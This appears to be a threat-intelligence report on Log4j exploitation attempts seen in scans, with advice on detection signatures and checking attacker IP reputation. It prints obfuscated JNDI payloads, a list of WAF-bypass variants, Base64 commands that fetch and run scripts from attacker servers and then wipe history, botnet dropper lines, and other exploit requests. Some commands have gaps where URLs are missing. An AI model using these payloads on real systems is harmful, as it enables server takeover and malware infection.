The Log4j vulnerability has impacted the world, leading hackers to conduct daily scans of servers worldwide in search of those infected with Log4j vulnerabilities, which could potentially allow them to take control of the servers. We have closely examined their scanning technologies to identify servers with Log4j vulnerabilities.

The hackers’ primary method involved sending the packet “${jndi:ldap://..**:53/c}” and analyzing the server’s response. However, this pattern has received extensive media coverage and is quickly being detected and blocked by IDS/IPS systems. As a result, modified attack techniques are now being utilized, as listed in the table below. These variant attack packets employ the approach of splitting and transmitting payloads in the format of j}ndi,{${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p},${jndi:${lower:l}${lower:d}a${lower:p}. This technique aims to evade detection by ensuring that the signature “jndi:ldap” remains undetected.

Common Attack Patterns in Log4j Exploits
“”t(‘${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//***.**.**.***:2420/TomcatBypass/Command/Base64/d2dldCA0Ni4xNjEuNTIuMzcvRXhwbG9pdC5zaDsgY2htb2QgK3ggRXhwbG9pdC5zaDsgLi9FeHBsb2l0LnNoOyBybSAtcmYgRXhwbG9pdC5zaA==}’)”” “”t(‘${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//***.**.**.***:2420/TomcatBypass/Command/Base64/d2dldCA0Ni4xNjEuNTIuMzcvRXhwbG9pdC5zaDsgY2htb2QgK3ggRXhwbG9pdC5zaDsgLi9FeHBsb2l0LnNoOyBybSAtcmYgRXhwbG9pdC5zaA==}’)”” 8080″
“GET /? HTTP/1.1″” 403 152 “”-“” “”${jndi:ldap://${}/HN=${env:HOSTNAME}/feb12a13-5fe3-429a-bd12-ed0c72e2ad20}”” 80″

Log4j Attack Patterns With Encoding

Hackers also utilize encoding techniques to evade the detection of attack patterns in Log4j exploits. By encoding the character string portion following the LDAP protocol, they can bypass firewalls, security devices, and log analysis systems such as ESM (Enterprise Security Management). The table below presents some representative examples of encoded attack methods. These encoded queries are typically encoded using Base64. Upon decoding, you may discover Linux commands such as wget, bash, python, and chmod, which are commonly used in attacks. Now, let’s proceed to the actual decoding process.

Log4j attack pattern with additional encoding
{jndi:dns://}” “{jndi:dns://}

The table below displays the decoded results of the encoded query.

In the first scenario, it is evident that the hackers download the potential attack script “” from their server using wget and curl. The downloaded files are granted execution permissions, allowing the execution of a script that facilitates the infection of malicious code. Notably, the attackers are clever enough to delete the malicious bash files even after execution. As a result, backdoors, trojan horses, and keyloggers are frequently installed without the victims’ knowledge.

Moving on to the second scenario, which involves the command ‘wget; curl -O http://158.118.236/setup;’, we observe that both wget and curl commands are intended to be executed twice. The code is designed to execute curl if wget is not installed on the server. This indicates the script intends to ensure infection occurs regardless of the server’s environment. Similar to the first scenario, the script involves changing the permissions to chmod 777 and editing it as an executable script. Consequently, executing the file leads to its infection.

In the third attack scenario, we observe patterns such as cd/tmp|| cd/var/run|| cd/mnt|| cd/root|| cd/;, which are commonly associated with botnet attacks. Upon analyzing the file, it is revealed to be a foothold for executing malicious code related to the same botnet. It is worth noting that a recent alert has been issued regarding the Mozi botnet, which is closely associated with this type of attack.

1/TomcatBypass/Command/Base64/d2dldCA0Ni4xNjEuNTIuMzcvRXhwbG9pdC5zaDsgY2htb2QgK3ggRXhwbG9pdC5zaDsgLi9FeHBsb2l0LnNoOyBybSAtcmYgRXhwbG9pdC5zaA==}’)wget **.***.**.**/; chmod +x; ./; rm -rf
2TomcatBypass/Command/Base64/d2dldCBodHRwOi8vMTU4LjEwMS4xMTguMjM2L3NldHVwOyBjdXJsIC1PIGh0dHA6Ly8xNTguMTAxLjExOC4yMzYvc2V0dXA7IGNobW9kIDc3NyBzZXR1cDsgLi9zZXR1cCBleHBsb2l0}’)wget; curl -O; chmod 777 setup; ./setup exploit
3/TomcatBypass/Command/Base64/Y2QgL3RtcCB8fCBjZCAvdmFyL3J1biB8fCBjZCAvbW50IHx8IGNkIC9yb290IHx8IGNkIC87IGN1cmwgaHR0cDovLzE5Mi45NS41MC4yMjgvYmlucy5zaCAtbyBiaW5zLnNoOyB3Z2V0IGh0dHA6Ly8xOTIuOTUuNTAuMjI4L2JpbnMuc2g7IGNobW9kIDc3NyBiaW5zLnNoOyBzaCBiaW5zLnNoOyBybSAtcmYgYmlucy5zaDsgaGlzdG9yeSAtYyA=}’)”cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; curl -o; wget; chmod 777; sh; rm -rf; history -c
4TomcatBypass/Command/Base64/Y2QgL3RtcCB8fCBjZCAvdmFyL3J1biB8fCBjZCAvbW50IHx8IGNkIC9yb290IHx8IGNkIC87IGN1cmwgaHR0cDovLzEzNS4xNDguOTEuMTQ2L2JpbnMuc2ggLW8gYmlucy5zaDsgd2dldCBodHRwOi8vMTM1LjE0OC45MS4xNDYvYmlucy5zaDsgY2htb2QgNzc3IGJpbnMuc2g7IHNoIGJpbnMuc2g7IHJtIC1yZiBiaW5zLnNoOyBoaXN0b3J5IC1j}’)cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; curl -o; wget; chmod 777; sh; rm -rf; history -c

If Log4j vulnerabilities are present, it is common to see attacks that involve downloading files potentially containing malicious or attack code from specific server IP addresses. Upon decoding these attacks, it is frequently discovered that the IP addresses used for downloading through tools such as wget or curl are often associated with critical IP addresses. Thus, checking these IP addresses using Criminal IP can help confirm their criticality.

cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget; curl -O; cat db0fa4b8db0333367e9bda3ab68b8042.x86 > Exploit; chmod +x *; ./Exploit log4j2
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget; curl -O; cat db0fa4b8db0333367e9bda3ab68b8042.mips > Exploit; chmod +x *; ./Exploit log4j2
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget; curl -O; cat db0fa4b8db0333367e9bda3ab68b8042.mpsl > Exploit; chmod +x *; ./Exploit log4j2
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; vi curl -O; cat db0fa4b8db0333367e9bda3ab68b8042.arm > Exploit; chmod +x *; ./Exploit log4j2
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget; curl -O; cat db0fa4b8db0333367e9bda3ab68b8042.arm5 > Exploit; chmod +x *; ./Exploit log4j2
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget; curl -O; cat db0fa4b8db0333367e9bda3ab68b8042.arm6 > Exploit; chmod +x *; ./Exploit log4j2
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget; curl -O; cat db0fa4b8db0333367e9bda3ab68b8042.arm7 > Exploit; chmod +x *; ./Exploit log4j2
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget; curl -O; cat db0fa4b8db0333367e9bda3ab68b8042.ppc > Exploit; chmod +x *; ./Exploit log4j2
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget; curl -O; cat db0fa4b8db0333367e9bda3ab68b8042.m68k > Exploit; chmod +x *; ./Exploit log4j2
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget; curl -O; cat db0fa4b8db0333367e9bda3ab68b8042.spc > Exploit; chmod +x *; ./Exploit log4j2
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget; curl -O; cat db0fa4b8db0333367e9bda3ab68b8042.i686 > Exploit; chmod +x *; ./Exploit log4j2
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget; curl -O; cat db0fa4b8db0333367e9bda3ab68b8042.sh4 > Exploit; chmod +x *; ./Exploit log4j2
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget; curl -O; cat db0fa4b8db0333367e9bda3ab68b8042.arc > Exploit; chmod +x *; ./Exploit log4j2 File 

Search results for on Criminal IP Asset Search

Response Method – Signature Detection Variations

First and foremost, the defense approach at the IPS/IDS/WAF stage should focus on responding to the irregular methods employed by hackers to evade detection rules. It is not necessary to meticulously register each attack keyword mentioned below. Similarly, an excessive reliance on regular expressions is not required. The common characteristic among these attacks is the format of ‘jndi:ldap://hacker-server/Query‘. It is reasonable to expect that ‘jndi’ and ‘ldap’ would have been registered for Log4j detection. Furthermore, these attacks can be detected by incorporating relevant keywords such as ‘${:’, ‘rmi’, and ‘${lower:’.

${jndi:ldap://} ${jndi:ldap:/} ${jndi:dns:/} ${jndi:dns://} ${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://} ${${::-j}ndi:rmi://} ${jndi:rmi://} ${${lower:jndi}:${lower:rmi}://} ${${lower:${lower:jndi}}:${lower:rmi}://} ${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://} ${${lower:j}${lower:n}${lower:d}i:${lower:ldap}://} ${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://} ${jndi:${lower:l}${lower:d}a${lower:p}://} ${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//} ${jn${env::-}di:ldap://} ${jn${date:}di${date:’:’}ldap://} ${j${k8s:k5:-ND}i${sd:k5:-:}ldap://} ${j${main:\k5:-Nd}i${spring:k5:-:}ldap://} ${j${sys:k5:-nD}${lower:i${web:k5:-:}}ldap://} ${j${::-nD}i${::-:}ldap://} ${j${EnV:K5:-nD}i:ldap://} ${j${loWer:Nd}i${uPper::}ldap://} ${jndi:ldap://} ${jnd${upper:ı}:ldap://} ${jnd${sys:SYS_NAME:-i}:ldap:/} ${j${${:-l}${:-o}${:-w}${:-e}${:-r}:n}di:ldap://} ${${date:’j’}${date:’n’}${date:’d’}${date:’i’}:${date:’l’}${date:’d’}${date:’a’}${date:’p’}://} ${${what:ever:-j}${some:thing:-n}${other:thing:-d}${and:last:-i}:ldap://} ${\u006a\u006e\u0064\u0069:ldap://} ${jn${lower:d}i:l${lower:d}ap://${lower:x}${lower:f}} ${j${k8s:k5:-ND}${sd:k5:-${123%25ff:-${123%25ff:-${upper:ı}:}}}ldap://} %24%7Bjndi:ldap:// %24%7Bjn$%7Benv::-%7Ddi:ldap://
Attack keywords to bypass WAF 1)

Response Method- Verification of downloaded IP addresses

Furthermore, the URL or IP address included in the query undergoes verification using the IP Intelligence system. For instance, upon conducting a check with Criminal IP, it is determined that from the query exhibits a security vulnerability and has a history of being registered in the honeypot. Additionally, it is included in the Snort Signature. These factors are collectively evaluated, resulting in a single critical score, designating it as a critical IP.; cat db0fa4b8db0333367e9bda3ab68b8042.arm6 > Exploit; chmod +x *; ./Exploit log4j2

Search results for on Criminal IP Asset Search

Detected Attacks With Log4j

As a side note, the following attack packet is just one example among many discovered during Log4j scanning. Hackers do not limit themselves to a single attack. Since the Log4j vulnerability emerged, it is crucial to go beyond defending against Log4j alone and instead monitor the logs of the IP addresses from which Log4j attacks originated. Through the collected web logs, it has been observed that extensive scanning attacks and remote code execution attacks were carried out before the Log4j attack. Therefore, it is essential to update security patches not only for the identified attacks but also for existing or overlooked vulnerabilities throughout the entire process.

POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1 GET /solr/admin/info/system?wt=json GET /securityRealm/user/admin/search/index?q=a HTTP/1.1 GET /index.php?s=/Index/\x5Cthink\x5Capp/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 HTTP/1.1″ GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1 GET /console/ POST /Autodiscover/Autodiscover.xml HTTP/1.1 POST /_ignition/execute-solution HTTP/1.1 POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1 <- cat/etc/passwd “POST /api/v1 HTTP/1.1
The attack packets detected along with Log4j

This report is based on data from Criminal IP, a Cyber Threat Intelligence search engine. Create a free Criminal IP account today to access the search results cited in the report and search for more extensive threat Intelligence. [Criminal IP’s Official Service Release]

1) log4shell – Quick Guide ,